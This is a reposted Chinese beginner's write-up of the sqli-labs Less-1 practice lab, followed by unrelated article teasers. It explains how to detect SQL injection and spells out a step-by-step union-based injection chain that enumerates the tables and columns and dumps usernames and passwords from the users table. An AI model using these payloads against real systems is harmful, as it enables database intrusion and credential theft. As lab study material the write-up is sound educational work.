web——sqliabs靶场——第一关

今天开始搞这个靶场,从小白开始一点点学习,加油!!!!

1.搭建靶场

注意点:1.php的版本问题,要用老版本

              2.小p要先改数据库的密码,否则一直显示链接不上数据库

2.第一道题,从0开始

更着大佬学习怎么搞

1.判断是否存在sql注入漏洞

在开始之前我们要先知道如何判断是否存在sql注入漏洞:

最为经典的单引号判断法:
在参数后面加上单引号,比如: 1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

有报错,说明有sql注入点

2.判断sql注入漏洞的类型

通常sql注入漏洞的类型有两种:

1.数字型 

2.字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

2.字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。

实践一下

数字型判断

/?id=1 and 1=1

回显正常

/?id=1 and 1=2

回显正常

字符型判断

/?id=1' and '1'='1

?id=1' and 1=1 --+

 

回显正常

/?id=1' and '1'='2

/?id=1' and 1=2 --+

发现没有回显,有错误,说明是字符型注入漏洞

现在进行联合注入,先来判断它的字段数 
?id=1' order by 1 -- +
?id=1' order by 2 -- +
?id=1' order by 3 -- +
?id=1' order by 4 -- +

这个 --+,主要是注释掉之后的语句

 

但是当判断到4的时候页面报错,说明它里面的字段数只有3位

字段数:在 SQL 查询中,字段数(Field count)通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念,它决定了查询结果中会返回多少列数据,也影响了数据库查询的结构、执行计划和性能。

开始爆出显示位,就是看看表格里面那一列是在页面显示的:
?id=100' union select 1,2,3 -- +

注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。

也可以将100改为-1,都是为了后面的1,2,3显示出来

可以看到是第二列和第三列里面的数据是显示在页面的

我们可以控制2,3出现的位置,那么开始判断库名:

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version() -- +

 

得到库名为security,下来判断表名

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+

查询出表名有:emails,referers,uagents,users 四个

可以用内置函数group_concat() 将表名一次性输出
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 1, group_concat(table_name), 3:

  • 1: 这是第一列的值,通常是一个常量,表示查询结果的占位符。

  • group_concat(table_name): 这部分非常关键。GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name) 会将 information_schema.tables 中所有表名(table_name)拼接成一个由逗号分隔的长字符串

  • 3: 这是查询的第三列,类似于第一个列,它只是占位符,不会影响结果。

也是一共四个表

开始爆users的列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

发现有id,username,password三列

从username和password两列里爆出数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

 

得到数据,结束。。。

原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/60152.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux基础—网络设置

linux系统的网络设置 1、网络的基本设置 2、dhcp和ftp 3、nfs共享文件共享系统和ssh远程连接 4、dns解析 5、pxe自动装机&#xff08;centos&#xff09; 网络的基本设置 查看网络接口信息: ipaddr/ip a 简略的查看网络接口信息 ifconfig 表示只显示当前活跃的设备 ifc…

ST-GCN模型实现花样滑冰动作分类

项目源码获取方式见文章末尾&#xff01; 600多个深度学习项目资料&#xff0c;快来加入社群一起学习吧。 《------往期经典推荐------》 项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现…

android studio 配置过程

Android studio版本&#xff1a;Android Studio Ladybug | 2024.2.1 windows 10 x64 关键问题解决方法&#xff1a; 1.设置代理&#xff1a; 退出首次配置&#xff0c;进入ide&#xff08;必要时新建工程&#xff09;然后&#xff1a; 然后重启ide 等待下载完成。 代理地…

关于分治法左右区间单调遍历应该如何设计

阅读以下文章&#xff0c;首先至少要求通过一道分治法的题目或听过一道该类型的讲解。 对于分治的题目&#xff0c;想必你应该知道&#xff0c;通常我们是对于一个区间拆分两个部分&#xff0c;而最小子问题通常是只包含一个元素的区间数组。为了后续方便处理更大范围的区间&am…

【软件测试】敏捷模型(Scrum模型)和V模型、W模型

敏捷模型 前面的那些模型以前非常流行&#xff0c;但现在开发人员在使用的时候会遇到各种问题。主要困难包括在项目开发期间处理来自客户的变更请求&#xff0c;以及合并这些变更所需要的高成本和时间。 在实际工作中&#xff0c;一款产品的功能是不断在变化的 所以为了克服这…

大数据新视界 -- 大数据大厂之 Impala 性能优化:数据加载策略如何决定分析速度(上)(15/30)

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

掌握核密度图:精准描绘不同年龄段的血糖分布

在医学研究中&#xff0c;数据的可视化是理解复杂信息和做出科学决策的关键。今天&#xff0c;我们将深入探讨一种强大的数据可视化工具——核密度图&#xff08;Kernel Density Plot&#xff0c;简称KDE&#xff09;&#xff0c;并通过Python代码实例&#xff0c;展示如何基于…

实验室信息管理系统源码,医院LIS系统源码,C/S结构,C#语言开发,适合上项目。

实验室信息管理系统源码&#xff0c;医院LIS系统源码&#xff0c;三甲以下医院需求都能满足。 LIS系统即实验室信息管理系统。LIS系统能实现临床检验信息化&#xff0c;检验科信息管理自动化。其主要功能是将检验科的实验仪器传出的检验数据经数据分析后&#xff0c;自动生成打…

计算机在启动一直到系统加载完成期间进行了哪些操作

零 扇区和分区的概念与联系 概念 扇区&#xff08;Sector&#xff09;&#xff1a; 扇区是硬盘中最小的物理存储单位&#xff0c;每个扇区通常为512字节&#xff08;一些新硬盘为4KB&#xff09;。硬盘在制造时会被划分成许多扇区&#xff0c;这些扇区在硬盘中依次排列。数据被…

Meta AI 新技术,赋予机器人 “触觉” 的革命

Meta AI 新技术&#xff0c;赋予机器人 “触觉” 的革命 简介 传统机器人的局限 Meta AI 的新技术突破 技术应用前景 未来展望 简介 在科技飞速发展的今天&#xff0c;人工智能领域不断取得令人惊叹的突破。11月4日&#xff0c;Meta公司宣布其基础人工智能研究团队(FAIR)在…

IPguard与Ping32加密软件对比评测,哪款更适合企业数据保护?

在信息化时代&#xff0c;企业的数据安全至关重要&#xff0c;特别是在文件管理和源代码加密方面&#xff0c;更需要强有力的防护工具。目前&#xff0c;IPguard与Ping32是市场上两款常用的企业数据加密软件。今天&#xff0c;我们从多方面进行对比&#xff0c;为大家解析哪款软…

【linux】CentOS 的软件源(Repository)学习

CentOS 7 的软件源&#xff08;Repository&#xff09;是用于分发和管理软件包的集中存储库。这些源包含了操作系统所需的各种软件包&#xff0c;包括系统工具、库、应用程序等。通过配置不同的软件源&#xff0c;用户可以选择从不同的服务器下载软件包&#xff0c;以提高下载速…

PyQt5超详细教程终篇

PyQt5超详细教程 前言 接&#xff1a; [【Python篇】PyQt5 超详细教程——由入门到精通&#xff08;序篇&#xff09;](【Python篇】PyQt5 超详细教程——由入门到精通&#xff08;序篇&#xff09;-CSDN博客) 建议把代码复制到pycahrm等IDE上面看实际效果&#xff0c;方便理…

JSX 语法与基础组件使用

在 React Native 中&#xff0c;JSX 是一种 JavaScript 的语法扩展&#xff0c;用于描述 UI 界面。JSX 语法类似于 HTML&#xff0c;但它是 JavaScript 的语法糖&#xff0c;可以直接在 JavaScript 代码中编写 UI 组件。本章节将介绍 JSX 语法的基础知识&#xff0c;以及 React…

会议直击|美格智能受邀出席第三届无锡智能网联汽车生态大会,共筑汽车产业新质生产力

11月10日&#xff0c;2024世界物联网博览会分论坛——第三届无锡智能网联汽车生态大会在无锡举行&#xff0c;美格智能CEO杜国彬受邀出席&#xff0c;并参与“中央域控&#xff1a;重塑汽车智能架构的未来”主题圆桌论坛讨论&#xff0c;与行业伙伴共同探讨智能网联汽车产业领域…

昇思大模型平台打卡体验活动:项目1基于MindSpore实现BERT对话情绪识别

基于MindSpore实现BERT对话情绪识别 1. 模型简介 BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;是由Google于2018年末开发并发布的一种新型语言模型&#xff0c;基于Transformer架构中的Encoder&#xff0c;并且具有双向编码的特性。…

vue+Springboot实现简单文件上传到本地

实现效果 点击上传文件按钮后&#xff0c;选择需要上传的文件&#xff0c;如果是图片的话&#xff0c;上传成功后可以直接在下面预览。 前端页面 <template><div class"file-upload"><el-upload:headers"getUploadConfig(token).headers"…

解决 Vue3、Vite 和 TypeScript 开发环境下跨域的问题,实现前后端数据传递

引言 本文介绍如何在开发环境下解决 Vite 前端&#xff08;端口 3000&#xff09;和后端&#xff08;端口 80&#xff09;之间的跨域问题&#xff1a; 在开发环境中&#xff0c;前端使用的 Vite 端口与后端端口不一致&#xff0c;会产生跨域错误提示&#xff1a; Access to X…

Java项目实战II基于微信小程序的订餐系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导 一、前言 随着移动互联网技术的飞速发展&#xff0…

闯关leetcode——202. Happy Number

大纲 题目地址内容 解题代码地址 题目 地址 https://leetcode.com/problems/happy-number/description/ 内容 Write an algorithm to determine if a number n is happy. A happy number is a number defined by the following process: Starting with any positive inte…